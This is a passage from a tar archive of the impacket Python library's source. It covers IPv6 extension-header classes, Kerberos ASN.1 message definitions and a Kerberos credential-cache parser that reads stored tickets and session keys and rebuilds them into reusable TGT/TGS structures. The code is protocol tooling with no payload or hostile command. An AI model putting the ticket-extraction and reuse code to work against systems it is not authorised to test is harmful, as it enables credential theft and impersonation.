def __init__(self):
Extension_Option.__init__(self, Option_PAD1.OPTION_TYPE_VALUE, 1)
def get_len(self):
return 1
class Option_PADN(Extension_Option):
OPTION_TYPE_VALUE = 0x01 # Pad1 (RFC 2460)
OPTION_DESCRIPTION = "PadN Option"
def __init__(self, padding_size):
if padding_size < 2:
raise ImpactPacketException, "PadN Extension Option must be greater than 2 bytes"
Extension_Option.__init__(self, Option_PADN.OPTION_TYPE_VALUE, padding_size)
self.set_data('\x00' * (padding_size - 2))
class Basic_Extension_Header(IP6_Extension_Header):
MAX_OPTIONS_LEN = 256 * 8
MIN_HEADER_LEN = 8
MAX_HEADER_LEN = MIN_HEADER_LEN + MAX_OPTIONS_LEN
def __init__(self, buffer = None):
self.padded = False
IP6_Extension_Header.__init__(self, buffer)
def reset(self):
self.set_next_header(0)
self.set_header_extension_length(0)
self.add_padding()
def add_option(self, option):
if self.padded:
self._option_list.pop()
self.padded = False
IP6_Extension_Header.add_option(self, option)
self.add_padding()
def add_padding(self):
required_octets = 8 - (self.get_header_size() % 8)
if self.get_header_size() + required_octets > Basic_Extension_Header.MAX_HEADER_LEN:
raise Exception("Not enough space for the padding")
# Insert Pad1 or PadN to fill the necessary octets
if 0 < required_octets < 8:
if required_octets == 1:
self.add_option(Option_PAD1())
else:
self.add_option(Option_PADN(required_octets))
self.padded = True
else:
self.padded = False
class Hop_By_Hop(Basic_Extension_Header):
HEADER_TYPE_VALUE = 0x00
HEADER_EXTENSION_DESCRIPTION = "Hop By Hop Options"
@classmethod
def get_decoder(self):
import ImpactDecoder
return ImpactDecoder.HopByHopDecoder
class Destination_Options(Basic_Extension_Header):
HEADER_TYPE_VALUE = 0x3c
HEADER_EXTENSION_DESCRIPTION = "Destination Options"
@classmethod
def get_decoder(self):
import ImpactDecoder
return ImpactDecoder.DestinationOptionsDecoder
class Routing_Options(IP6_Extension_Header):
HEADER_TYPE_VALUE = 0x2b
HEADER_EXTENSION_DESCRIPTION = "Routing Options"
ROUTING_OPTIONS_HEADER_FIELDS_SIZE = 8
def reset(self):
self.set_next_header(0)
self.set_header_extension_length(0)
self.set_routing_type(0)
self.set_segments_left(0)
def __str__(self):
header_type = self.get_header_type()
next_header_value = self.get_next_header()
header_ext_length = self.get_header_extension_length()
routing_type = self.get_routing_type()
segments_left = self.get_segments_left()
s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n"
s += "Header Type Value: " + str(header_type) + "\n"
s += "Next Header: " + str(next_header_value) + "\n"
s += "Header Extension Length: " + str(header_ext_length) + "\n"
s += "Routing Type: " + str(routing_type) + "\n"
s += "Segments Left: " + str(segments_left) + "\n"
return s
@classmethod
def get_decoder(self):
import ImpactDecoder
return ImpactDecoder.RoutingOptionsDecoder
def get_headers_field_size(self):
return Routing_Options.ROUTING_OPTIONS_HEADER_FIELDS_SIZE
def set_routing_type(self, routing_type):
self.set_byte(2, routing_type)
def get_routing_type(self):
return self.get_byte(2)
def set_segments_left(self, segments_left):
self.set_byte(3, segments_left)
def get_segments_left(self):
return self.get_byte(3)
impacket-0.9.15/impacket/krb5/ 0000700 0000765 0000000 00000000000 12734532622 016106 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/krb5/__init__.py 0000600 0000765 0000000 00000000005 12734531507 020215 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/krb5/asn1.py 0000600 0000765 0000000 00000051346 12734531507 017336 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2013, Marc Horowitz
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# Altered source by Alberto Solino (@agsolino)
#
# Changed some of the classes names to match the RFC 4120
# Added [MS-KILE] data
# Adapted to Enum
#
from pyasn1.type import tag, namedtype, univ, constraint, char, useful
import constants
def _application_tag(tag_value):
return univ.Sequence.tagSet.tagExplicitly(
tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed,
int(tag_value)))
def _vno_component(tag_value, name="pvno"):
return _sequence_component(
name, tag_value, univ.Integer(),
subtypeSpec=constraint.ValueRangeConstraint(5, 5))
def _msg_type_component(tag_value, values):
c = constraint.ConstraintsUnion(
*(constraint.SingleValueConstraint(int(v)) for v in values))
return _sequence_component('msg-type', tag_value, univ.Integer(),
subtypeSpec=c)
def _sequence_component(name, tag_value, type, **subkwargs):
return namedtype.NamedType(name, type.subtype(
explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple,
tag_value),
**subkwargs))
def _sequence_optional_component(name, tag_value, type, **subkwargs):
return namedtype.OptionalNamedType(name, type.subtype(
explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple,
tag_value),
**subkwargs))
def seq_set(seq, name, builder=None, *args, **kwargs):
component = seq.setComponentByName(name).getComponentByName(name)
if builder is not None:
seq.setComponentByName(name, builder(component, *args, **kwargs))
else:
seq.setComponentByName(name)
return seq.getComponentByName(name)
def seq_set_dict(seq, name, pairs, *args, **kwargs):
component = seq.setComponentByName(name).getComponentByName(name)
for k, v in pairs.iteritems():
component.setComponentByName(k, v)
def seq_set_iter(seq, name, iterable):
component = seq.setComponentByName(name).getComponentByName(name)
for pos, v in enumerate(iterable):
component.setComponentByPosition(pos, v)
def seq_set_flags(seq, name, flags):
seq_set(seq, name, flags.to_asn1)
def seq_append(seq, name, pairs):
component = seq.getComponentByName(name)
if component is None:
component = seq.setComponentByName(name).getComponentByName(name)
index = len(component)
element = component.setComponentByPosition(index
).getComponentByPosition(index)
for k, v in pairs.iteritems():
element.setComponentByName(k, v)
class Int32(univ.Integer):
subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint(
-2147483648, 2147483647)
class UInt32(univ.Integer):
pass
# subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint(
# 0, 4294967295)
class Microseconds(univ.Integer):
subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint(
0, 999999)
class KerberosString(char.GeneralString):
# TODO marc: I'm not sure how to express this constraint in the API.
# For now, we will be liberal in what we accept.
# subtypeSpec = constraint.PermittedAlphabetConstraint(char.IA5String())
pass
class Realm(KerberosString):
pass
class PrincipalName(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component("name-type", 0, Int32()),
_sequence_component("name-string", 1,
univ.SequenceOf(componentType=KerberosString()))
)
class KerberosTime(useful.GeneralizedTime):
pass
class HostAddress(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component("addr-type", 0, Int32()),
_sequence_component("address", 1, univ.OctetString())
)
class HostAddresses(univ.SequenceOf):
componentType = HostAddress()
class AuthorizationData(univ.SequenceOf):
componentType = univ.Sequence(componentType=namedtype.NamedTypes(
_sequence_component('ad-type', 0, Int32()),
_sequence_component('ad-data', 1, univ.OctetString())
))
class PA_DATA(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('padata-type', 1, Int32()),
_sequence_component('padata-value', 2, univ.OctetString())
)
class KerberosFlags(univ.BitString):
# TODO marc: it doesn't look like there's any way to specify the
# SIZE (32.. MAX) parameter to the encoder. However, we can
# arrange at a higher layer to pass in >= 32 bits to the encoder.
pass
class EncryptedData(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component("etype", 0, Int32()),
_sequence_optional_component("kvno", 1, UInt32()),
_sequence_component("cipher", 2, univ.OctetString())
)
class EncryptionKey(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('keytype', 0, Int32()),
_sequence_component('keyvalue', 1, univ.OctetString()))
class Checksum(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('cksumtype', 0, Int32()),
_sequence_component('checksum', 1, univ.OctetString()))
class Ticket(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.Ticket.value)
componentType = namedtype.NamedTypes(
_vno_component(name="tkt-vno", tag_value=0),
_sequence_component("realm", 1, Realm()),
_sequence_component("sname", 2, PrincipalName()),
_sequence_component("enc-part", 3, EncryptedData())
)
class TicketFlags(KerberosFlags):
pass
class TransitedEncoding(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('tr-type', 0, Int32()),
_sequence_component('contents', 1, univ.OctetString()))
class EncTicketPart(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.EncTicketPart.value)
componentType = namedtype.NamedTypes(
_sequence_component("flags", 0, TicketFlags()),
_sequence_component("key", 1, EncryptionKey()),
_sequence_component("crealm", 2, Realm()),
_sequence_component("cname", 3, PrincipalName()),
_sequence_component("transited", 4, TransitedEncoding()),
_sequence_component("authtime", 5, KerberosTime()),
_sequence_optional_component("starttime", 6, KerberosTime()),
_sequence_component("endtime", 7, KerberosTime()),
_sequence_optional_component("renew-till", 8, KerberosTime()),
_sequence_optional_component("caddr", 9, HostAddresses()),
_sequence_optional_component("authorization-data", 10, AuthorizationData())
)
class KDCOptions(KerberosFlags):
pass
class KDC_REQ_BODY(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('kdc-options', 0, KDCOptions()),
_sequence_optional_component('cname', 1, PrincipalName()),
_sequence_component('realm', 2, Realm()),
_sequence_optional_component('sname', 3, PrincipalName()),
_sequence_optional_component('from', 4, KerberosTime()),
_sequence_component('till', 5, KerberosTime()),
_sequence_optional_component('rtime', 6, KerberosTime()),
_sequence_component('nonce', 7, UInt32()),
_sequence_component('etype', 8,
univ.SequenceOf(componentType=Int32())),
_sequence_optional_component('addresses', 9, HostAddresses()),
_sequence_optional_component('enc-authorization-data', 10,
EncryptedData()),
_sequence_optional_component('additional-tickets', 11,
univ.SequenceOf(componentType=Ticket()))
)
class KDC_REQ(univ.Sequence):
componentType = namedtype.NamedTypes(
_vno_component(1),
_msg_type_component(2, (constants.ApplicationTagNumbers.AS_REQ.value,
constants.ApplicationTagNumbers.TGS_REQ.value)),
_sequence_optional_component('padata', 3,
univ.SequenceOf(componentType=PA_DATA())),
_sequence_component('req-body', 4, KDC_REQ_BODY())
)
class AS_REQ(KDC_REQ):
tagSet = _application_tag(constants.ApplicationTagNumbers.AS_REQ.value)
class TGS_REQ(KDC_REQ):
tagSet = _application_tag(constants.ApplicationTagNumbers.TGS_REQ.value)
class KDC_REP(univ.Sequence):
componentType = namedtype.NamedTypes(
_vno_component(0),
_msg_type_component(1, (constants.ApplicationTagNumbers.AS_REQ.value,
constants.ApplicationTagNumbers.TGS_REQ.value)),
_sequence_optional_component('padata', 2,
univ.SequenceOf(componentType=PA_DATA())),
_sequence_component('crealm', 3, Realm()),
_sequence_component('cname', 4, PrincipalName()),
_sequence_component('ticket', 5, Ticket()),
_sequence_component('enc-part', 6, EncryptedData())
)
class LastReq(univ.SequenceOf):
componentType = univ.Sequence(componentType=namedtype.NamedTypes(
_sequence_component('lr-type', 0, Int32()),
_sequence_component('lr-value', 1, KerberosTime())
))
class METHOD_DATA(univ.SequenceOf):
componentType = PA_DATA()
class EncKDCRepPart(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('key', 0, EncryptionKey()),
_sequence_component('last-req', 1, LastReq()),
_sequence_component('nonce', 2, UInt32()),
_sequence_optional_component('key-expiration', 3, KerberosTime()),
_sequence_component('flags', 4, TicketFlags()),
_sequence_component('authtime', 5, KerberosTime()),
_sequence_optional_component('starttime', 6, KerberosTime()),
_sequence_component('endtime', 7, KerberosTime()),
_sequence_optional_component('renew-till', 8, KerberosTime()),
_sequence_component('srealm', 9, Realm()),
_sequence_component('sname', 10, PrincipalName()),
_sequence_optional_component('caddr', 11, HostAddresses()),
_sequence_optional_component('encrypted_pa_data', 12, METHOD_DATA())
)
class EncASRepPart(EncKDCRepPart):
tagSet = _application_tag(constants.ApplicationTagNumbers.EncASRepPart.value)
class EncTGSRepPart(EncKDCRepPart):
tagSet = _application_tag(constants.ApplicationTagNumbers.EncTGSRepPart.value)
class AS_REP(KDC_REP):
tagSet = _application_tag(constants.ApplicationTagNumbers.AS_REP.value)
class TGS_REP(KDC_REP):
tagSet = _application_tag(constants.ApplicationTagNumbers.TGS_REP.value)
class APOptions(KerberosFlags):
pass
class Authenticator(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.Authenticator.value)
componentType = namedtype.NamedTypes(
_vno_component(name='authenticator-vno', tag_value=0),
_sequence_component('crealm', 1, Realm()),
_sequence_component('cname', 2, PrincipalName()),
_sequence_optional_component('cksum', 3, Checksum()),
_sequence_component('cusec', 4, Microseconds()),
_sequence_component('ctime', 5, KerberosTime()),
_sequence_optional_component('subkey', 6, EncryptionKey()),
_sequence_optional_component('seq-number', 7, UInt32()),
_sequence_optional_component('authorization-data', 8,
AuthorizationData())
)
class AP_REQ(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.AP_REQ.value)
componentType = namedtype.NamedTypes(
_vno_component(0),
_msg_type_component(1, (constants.ApplicationTagNumbers.AP_REQ.value,)),
_sequence_component('ap-options', 2, APOptions()),
_sequence_component('ticket', 3, Ticket()),
_sequence_component('authenticator', 4, EncryptedData())
)
class AP_REP(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.AP_REP.value)
componentType = namedtype.NamedTypes(
_vno_component(0),
_msg_type_component(1, (constants.ApplicationTagNumbers.AP_REP.value,)),
_sequence_component('enc-part', 2, EncryptedData()),
)
class EncAPRepPart(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.EncApRepPart.value)
componentType = namedtype.NamedTypes(
_sequence_component('ctime', 0, KerberosTime()),
_sequence_component('cusec', 1, Microseconds()),
_sequence_optional_component('subkey', 2, EncryptionKey()),
_sequence_optional_component('seq-number', 3, UInt32()),
)
class KRB_SAFE_BODY(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('user-data', 0, univ.OctetString()),
_sequence_optional_component('timestamp', 1, KerberosTime()),
_sequence_optional_component('usec', 2, Microseconds()),
_sequence_optional_component('seq-number', 3, UInt32()),
_sequence_component('s-address', 4, HostAddress()),
_sequence_optional_component('r-address', 5, HostAddress()),
)
class KRB_SAFE(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_SAFE.value)
componentType = namedtype.NamedTypes(
_vno_component(0),
_msg_type_component(1, (constants.ApplicationTagNumbers.KRB_SAFE.value,)),
_sequence_component('safe-body', 2, KRB_SAFE_BODY()),
_sequence_component('cksum', 3, Checksum()),
)
class KRB_PRIV(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_PRIV.value)
componentType = namedtype.NamedTypes(
_vno_component(0),
_msg_type_component(1, (constants.ApplicationTagNumbers.KRB_PRIV.value,)),
_sequence_component('enc-part', 3, EncryptedData()),
)
class EncKrbPrivPart(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.EncKrbPrivPart.value)
componentType = namedtype.NamedTypes(
_sequence_component('user-data', 0, univ.OctetString()),
_sequence_optional_component('timestamp', 1, KerberosTime()),
_sequence_optional_component('cusec', 2, Microseconds()),
_sequence_optional_component('seq-number', 3, UInt32()),
_sequence_component('s-address', 4, HostAddress()),
_sequence_optional_component('r-address', 5, HostAddress()),
)
class KRB_CRED(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_CRED.value)
componentType = namedtype.NamedTypes(
_vno_component(0),
_msg_type_component(1, (constants.ApplicationTagNumbers.KRB_CRED.value,)),
_sequence_optional_component('tickets', 2,
univ.SequenceOf(componentType=Ticket())),
_sequence_component('enc-part', 3, EncryptedData()),
)
class KrbCredInfo(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('key', 0, EncryptionKey()),
_sequence_optional_component('prealm', 1, Realm()),
_sequence_optional_component('pname', 2, PrincipalName()),
_sequence_optional_component('flags', 3, TicketFlags()),
_sequence_optional_component('authtime', 4, KerberosTime()),
_sequence_optional_component('starttime', 5, KerberosTime()),
_sequence_optional_component('endtime', 6, KerberosTime()),
_sequence_optional_component('renew-till', 7, KerberosTime()),
_sequence_optional_component('srealm', 8, Realm()),
_sequence_optional_component('sname', 9, PrincipalName()),
_sequence_optional_component('caddr', 10, HostAddresses()),
)
class EncKrbCredPart(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.EncKrbCredPart.value)
componentType = namedtype.NamedTypes(
_sequence_component('ticket-info', 0, univ.SequenceOf(componentType=KrbCredInfo())),
_sequence_optional_component('nonce', 1, UInt32()),
_sequence_optional_component('timestamp', 2, KerberosTime()),
_sequence_optional_component('usec', 3, Microseconds()),
_sequence_optional_component('s-address', 4, HostAddress()),
_sequence_optional_component('r-address', 5, HostAddress()),
)
class KRB_ERROR(univ.Sequence):
tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_ERROR.value)
componentType = namedtype.NamedTypes(
_vno_component(0),
_msg_type_component(1, (constants.ApplicationTagNumbers.KRB_ERROR.value,)),
_sequence_optional_component('ctime', 2, KerberosTime()),
_sequence_optional_component('cusec', 3, Microseconds()),
_sequence_component('stime', 4, KerberosTime()),
_sequence_component('susec', 5, Microseconds()),
_sequence_component('error-code', 6, Int32()),
_sequence_optional_component('crealm', 7, Realm()),
_sequence_optional_component('cname', 8, PrincipalName()),
_sequence_component('realm', 9, Realm()),
_sequence_component('sname', 10, PrincipalName()),
_sequence_optional_component('e-text', 11, KerberosString()),
_sequence_optional_component('e-data', 12, univ.OctetString())
)
class TYPED_DATA(univ.SequenceOf):
componentType = namedtype.NamedTypes(
_sequence_component('data-type', 0, Int32()),
_sequence_optional_component('data-value', 1, univ.OctetString()),
)
class PA_ENC_TIMESTAMP(EncryptedData):
pass
class PA_ENC_TS_ENC(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('patimestamp', 0, KerberosTime()),
_sequence_optional_component('pausec', 1, Microseconds()))
class ETYPE_INFO_ENTRY(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('etype', 0, Int32()),
_sequence_optional_component('salt', 1, univ.OctetString()))
class ETYPE_INFO(univ.SequenceOf):
componentType = ETYPE_INFO_ENTRY()
class ETYPE_INFO2_ENTRY(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('etype', 0, Int32()),
_sequence_optional_component('salt', 1, KerberosString()),
_sequence_optional_component('s2kparams', 2, univ.OctetString()))
class ETYPE_INFO2(univ.SequenceOf):
componentType = ETYPE_INFO2_ENTRY()
class AD_IF_RELEVANT(AuthorizationData):
pass
class AD_KDCIssued(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('ad-checksum', 0, Checksum()),
_sequence_optional_component('i-realm', 1, Realm()),
_sequence_optional_component('i-sname', 2, PrincipalName()),
_sequence_component('elements', 3, AuthorizationData()))
class AD_AND_OR(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('condition-count', 0, Int32()),
_sequence_optional_component('elements', 1, AuthorizationData()))
class AD_MANDATORY_FOR_KDC(AuthorizationData):
pass
class KERB_PA_PAC_REQUEST(univ.Sequence):
componentType = namedtype.NamedTypes(
namedtype.NamedType('include-pac', univ.Boolean().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))),
)
class PA_FOR_USER_ENC(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('userName', 0, PrincipalName()),
_sequence_optional_component('userRealm', 1, Realm()),
_sequence_optional_component('cksum', 2, Checksum()),
_sequence_optional_component('auth-package', 3, KerberosString()))
class KERB_ERROR_DATA(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_component('data-type', 1, Int32()),
_sequence_component('data-value', 2, univ.OctetString()))
class PA_PAC_OPTIONS(univ.SequenceOf):
componentType = KerberosFlags()
impacket-0.9.15/impacket/krb5/ccache.py 0000600 0000765 0000000 00000042460 12734531507 017677 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# Kerberos Credential Cache format implementation
# based on file format described at:
# http://repo.or.cz/w/krb5dissect.git/blob_plain/HEAD:/ccache.txt
# Pretty lame and quick implementation, not a fun thing to do
# Contribution is welcome to make it the right way
#
from datetime import datetime
from struct import pack, unpack, calcsize
from pyasn1.codec.der import decoder, encoder
from binascii import hexlify
from impacket.structure import Structure
from impacket.krb5 import crypto, constants, types
from impacket.krb5.asn1 import AS_REP, seq_set, TGS_REP, EncTGSRepPart, EncASRepPart, Ticket
DELTA_TIME = 1
class Header(Structure):
structure = (
('tag','!H=0'),
('taglen','!H=0'),
('_tagdata','_-tagdata','self["taglen"]'),
('tagdata',':'),
)
class DeltaTime(Structure):
structure = (
('time_offset','!L=0'),
('usec_offset','!L=0'),
)
class CountedOctetString(Structure):
structure = (
('length','!L=0'),
('_data','_-data','self["length"]'),
('data',':'),
)
def prettyPrint(self, indent=''):
return "%s%s" % (indent, hexlify(self['data']))
class KeyBlock(Structure):
structure = (
('keytype','!H=0'),
('etype','!H=0'),
('keylen','!H=0'),
('_keyvalue','_-keyvalue','self["keylen"]'),
('keyvalue',':'),
)
def prettyPrint(self):
return "Key: (0x%x)%s" % (self['keytype'], hexlify(self['keyvalue']))
class Times(Structure):
structure = (
('authtime','!L=0'),
('starttime','!L=0'),
('endtime','!L=0'),
('renew_till','!L=0'),
)
def prettyPrint(self, indent = ''):
print "%sAuth : %s" % (indent, datetime.fromtimestamp(self['authtime']).isoformat())
print "%sStart: %s" % (indent, datetime.fromtimestamp(self['starttime']).isoformat())
print "%sEnd : %s" % (indent, datetime.fromtimestamp(self['endtime']).isoformat())
print "%sRenew: %s" % (indent, datetime.fromtimestamp(self['renew_till']).isoformat())
class Address(Structure):
structure = (
('addrtype','!H=0'),
('addrdata',':', CountedOctetString),
)
class AuthData(Structure):
structure = (
('authtype','!H=0'),
('authdata',':', CountedOctetString),
)
class Principal:
class PrincipalHeader(Structure):
structure = (
('name_type','!L=0'),
('num_components','!L=0'),
)
def __init__(self, data=None):
self.components = []
self.realm = None
if data is not None:
self.header = self.PrincipalHeader(data)
data = data[len(self.header):]
self.realm = CountedOctetString(data)
data = data[len(self.realm):]
self.components = []
for component in range(self.header['num_components']):
comp = CountedOctetString(data)
data = data[len(comp):]
self.components.append(comp)
else:
self.header = self.PrincipalHeader()
def __len__(self):
totalLen = len(self.header) + len(self.realm)
for i in self.components:
totalLen += len(i)
return totalLen
def getData(self):
data = self.header.getData() + self.realm.getData()
for component in self.components:
data += component.getData()
return data
def __str__(self):
return self.getData()
def prettyPrint(self):
principal = ''
for component in self.components:
principal += component['data'] + '/'
principal = principal[:-1]
principal += '@' + self.realm['data']
return principal
def fromPrincipal(self, principal):
self.header['name_type'] = principal.type
self.header['num_components'] = len(principal.components)
octetString = CountedOctetString()
octetString['length'] = len(principal.realm)
octetString['data'] = principal.realm
self.realm = octetString
self.components = []
for c in principal.components:
octetString = CountedOctetString()
octetString['length'] = len(c)
octetString['data'] = c
self.components.append(octetString)
def toPrincipal(self):
return types.Principal(self.prettyPrint(), type=self.header['name_type'])
class Credential:
class CredentialHeader(Structure):
structure = (
('client',':', Principal),
('server',':', Principal),
('key',':', KeyBlock),
('time',':', Times),
('is_skey','B=0'),
('tktflags','!L=0'),
('num_address','!L=0'),
)
def __init__(self, data=None):
self.addresses = ()
self.authData = ()
self.header = None
self.ticket = None
self.secondTicket = None
if data is not None:
self.header = self.CredentialHeader(data)
data = data[len(self.header):]
self.addresses = []
for address in range(self.header['num_address']):
ad = Address(data)
data = data[len(ad):]
self.addresses.append(ad)
num_authdata = unpack('!L', data[:4])[0]
data = data[calcsize('!L'):]
for authdata in range(num_authdata):
ad = AuthData(data)
data = data[len(ad):]
self.authData.append(ad)
self.ticket = CountedOctetString(data)
data = data[len(self.ticket):]
self.secondTicket = CountedOctetString(data)
data = data[len( self.secondTicket):]
else:
self.header = self.CredentialHeader()
def __getitem__(self, key):
return self.header[key]
def __setitem__(self, item, value):
self.header[item] = value
def getServerPrincipal(self):
return self.header['server'].prettyPrint()
def __len__(self):
totalLen = len(self.header)
for i in self.addresses:
totalLen += len(i)
totalLen += calcsize('!L')
for i in self.authData:
totalLen += len(i)
totalLen += len(self.ticket)
totalLen += len(self.secondTicket)
return totalLen
def dump(self):
self.header.dump()
def getData(self):
data = self.header.getData()
for i in self.addresses:
data += i.getData()
data += pack('!L', len(self.authData))
for i in self.authData:
data += i.getData()
data += self.ticket.getData()
data += self.secondTicket.getData()
return data
def __str__(self):
return self.getData()
def prettyPrint(self, indent=''):
print "%sClient: %s" % (indent, self.header['client'].prettyPrint())
print "%sServer: %s" % (indent, self.header['server'].prettyPrint())
print "%s%s" % (indent, self.header['key'].prettyPrint())
print "%sTimes: " % indent
self.header['time'].prettyPrint('\t\t')
print "%sSubKey: %s" % (indent, self.header['is_skey'])
print "%sFlags: 0x%x" % (indent, self.header['tktflags'])
print "%sAddresses: %d" % (indent, self.header['num_address'])
for address in self.addresses:
address.prettyPrint('\t\t')
print "%sAuth Data: %d" % (indent, len(self.authData))
for ad in self.authData:
ad.prettyPrint('\t\t')
print "%sTicket: %s" % (indent, self.ticket.prettyPrint())
print "%sSecond Ticket: %s" % (indent, self.secondTicket.prettyPrint())
def toTGT(self):
tgt_rep = AS_REP()
tgt_rep['pvno'] = 5
tgt_rep['msg-type'] = int(constants.ApplicationTagNumbers.AP_REP.value)
tgt_rep['crealm'] = self['server'].realm['data']
# Fake EncryptedData
tgt_rep['enc-part'] = None
tgt_rep['enc-part']['etype'] = 1
tgt_rep['enc-part']['cipher'] = ''
seq_set(tgt_rep, 'cname', self['client'].toPrincipal().components_to_asn1)
ticket = types.Ticket()
ticket.from_asn1(self.ticket['data'])
seq_set(tgt_rep,'ticket', ticket.to_asn1)
cipher = crypto._enctype_table[self['key']['keytype']]()
tgt = dict()
tgt['KDC_REP'] = encoder.encode(tgt_rep)
tgt['cipher'] = cipher
tgt['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue']))
return tgt
def toTGS(self):
tgs_rep = TGS_REP()
tgs_rep['pvno'] = 5
tgs_rep['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REP.value)
tgs_rep['crealm'] = self['server'].realm['data']
# Fake EncryptedData
tgs_rep['enc-part'] = None
tgs_rep['enc-part']['etype'] = 1
tgs_rep['enc-part']['cipher'] = ''
seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1)
ticket = types.Ticket()
ticket.from_asn1(self.ticket['data'])
seq_set(tgs_rep,'ticket', ticket.to_asn1)
cipher = crypto._enctype_table[self['key']['keytype']]()
tgs = dict()
tgs['KDC_REP'] = encoder.encode(tgs_rep)
tgs['cipher'] = cipher
tgs['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue']))
return tgs
class CCache:
class MiniHeader(Structure):
structure = (
('file_format_version','!H=0x0504'),
('headerlen','!H=12'),
)
def __init__(self, data = None):
self.headers = None
self.principal = None
self.credentials = []
self.miniHeader = None
if data is not None:
miniHeader = self.MiniHeader(data)
data = data[len(str(miniHeader)):]
headerLen = miniHeader['headerlen']
self.headers = []
while headerLen > 0:
header = Header(data)
self.headers.append(header)
headerLen -= len(header)
data = data[len(header):]
# Now the primary_principal
self.principal = Principal(data)
data = data[len(self.principal):]
# Now let's parse the credentials
self.credentials = []
while len(data) > 0:
cred = Credential(data)
self.credentials.append(cred)
data = data[len(cred.getData()):]
def getData(self):
data = self.MiniHeader().getData()
for header in self.headers:
data += header.getData()
data += self.principal.getData()
for credential in self.credentials:
data += credential.getData()
return data
def getCredential(self, server):
for c in self.credentials:
if c['server'].prettyPrint().upper() == server.upper():
return c
return None
def toTimeStamp(self, dt, epoch=datetime(1970,1,1)):
td = dt - epoch
# return td.total_seconds()
return (td.microseconds + (td.seconds + td.days * 24 * 3600) * 10**6) / 1e6
def reverseFlags(self, flags):
result = 0
if isinstance(flags, str):
flags = flags[1:-2]
for i,j in enumerate(reversed(flags)):
if j != 0:
result += j << i
return result
def fromTGT(self, tgt, oldSessionKey, sessionKey):
self.headers = []
header = Header()
header['tag'] = 1
header['taglen'] = 8
header['tagdata'] = '\xff\xff\xff\xff\x00\x00\x00\x00'
self.headers.append(header)
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
tmpPrincipal = types.Principal()
tmpPrincipal.from_asn1(decodedTGT, 'crealm', 'cname')
self.principal = Principal()
self.principal.fromPrincipal(tmpPrincipal)
# Now let's add the credential
cipherText = decodedTGT['enc-part']['cipher']
